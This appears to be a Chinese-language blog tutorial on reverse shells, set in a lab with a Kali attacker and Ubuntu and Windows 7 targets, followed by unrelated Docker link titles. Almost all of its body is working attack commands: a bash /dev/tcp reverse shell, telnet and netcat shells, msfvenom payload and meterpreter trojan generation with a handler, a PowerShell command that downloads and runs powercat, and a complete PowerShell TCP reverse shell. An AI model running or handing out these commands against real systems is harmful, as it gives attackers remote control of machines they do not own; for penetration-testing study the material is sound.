容器反弹shell连接 docker反弹shell
0x00 反弹shell概述
反弹shell:即reverse shell,在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,通过反弹的shell去远程控制服务器。
0x01 反弹shell原因
通常由于防火墙、权限不足、端口占用等情况下,无法直接连接目标主机,此时就需要通过反弹shell,让目标主机主动来连接我们再公网的vps。
0x02 Linux下反弹shell
实验环境:
攻击主机:kali:192.168.217.135
目标主机:ubuntu:192.168.217.132
1.Bash反弹
1)攻击主机上执行监听:
nc -lvp port //设定监听的端口2)目标主机上反弹shell:
bash -i >& /dev/tcp/x.x.x.x/port 0>&1 //bash -i:打开一个交互的bash //>&:将标准输出和标准错误输出重定向到文件/dev/tcp/,即传递到远程 ///dev/tcp/x.x.x.x/port:调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口 //0>&1:标准输入重定向到标准输出,实现与反弹出来的shell的交互Linux文件描述符: 0 - stdin 代表标准输入,使用<或<< 1 - stdout 代表标准输出,使用>或>> 2 - stderr 代表标准错误输出,使用2>或2>>3)回到攻击机,shell反弹成功
2.telnet反弹shell
攻击机上执行命令,监听两个端口(一个用于输入,一个用于输出):
nc -lvp 4444 nc -lvp 5555目标机上执行:
telnet 192.168.217.135 4444 | /bin/bash | telnet 192.168.217.135 5555 //这里通过监听两个端口,然后进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的4444端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的5555端口。反弹shell成功后,在监听4444端口的终端执行命令,在另一个终端输出执行结果
反弹shell
攻击机上执行监听命令:
nc -lvp port
目标机上执行命令:
nc -e -t /bin/bash ip port //使用nc命令直接建立一个tcp的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机//-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程如果目标主机linux发行版本没有 -e 参数,可选择以下方式:
nc ip port1|/bin/bash|ip port2成功反弹
4.利用msfvenom
攻击主机上使用msfvenom搜索相关payload(此处以python为例)
msfvenom -l payloads | grep 'cmd/unix/reverse'可以看到多种实现反弹shell的方式
执行命令:
msfvenom -p cmd/unix/reverse_python lhost=192.168.217.135 lport=6666获取相应payload
然后攻击上启动nc进行监听
nc -lvp port目标主机上执行msfvenom给出的payload
反弹成功
0x03 Windows下反弹shell
实验环境:
攻击主机:kali:192.168.217.135
目标主机:Win7:192.168.217.130
反弹shell
攻击机上执行监听命令:
nc -lvp port目标机上执行:
nc.exe -e cmd.exe 192.168.217.135 6666成功反弹shell
2.msfvenom反弹shell
攻击机上搜索windows x64 tcp的payload:
msfvenom -l payload | grep windows | grep x64 | grep tcp这里选择windows/x64/meterpreter/reverse_tcp生成木马文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.217.135 lport=6666 -f exe >test.exe将木马文件移动到桌面方便复制到目标机
攻击机上使用msfconsole监听:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.217.135 set lport 6666 exploit目标机上执行test.exe木马文件
可看到攻击机上反弹成功
3.powershell反弹shell
攻击机上执行监听命令:
nc -lvp port目标机上:
1).执行命令
powershell IEX (New-Object .Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.217.135 -p 6666 -e cmd反弹成功
2).自定义powershell函数反弹shell:
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.217.135',6666);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"反弹成功
Docker的三种网络代理配置:dockerd pull镜像代理;容器docker run网络代理;docker build代理--build-argdocker pull 代理
windows终端远程连接Linux服务器powershell连接远程服务器
Windows下使用NotePad++连接Linux服务器xshell连接windows
docker 根据容器id tag docker 根据容器生成镜像
(精华)2020年10月30日 Docker Windows10安装Docker Desktopwindows10下安装docker
docker学习 (三) Windows 10 安装Dockerdocker 安装 nacos
How to Uninstall (or Reinstall) Windows 10’s Ubuntu Bash Shellplease uninstall and reinstall the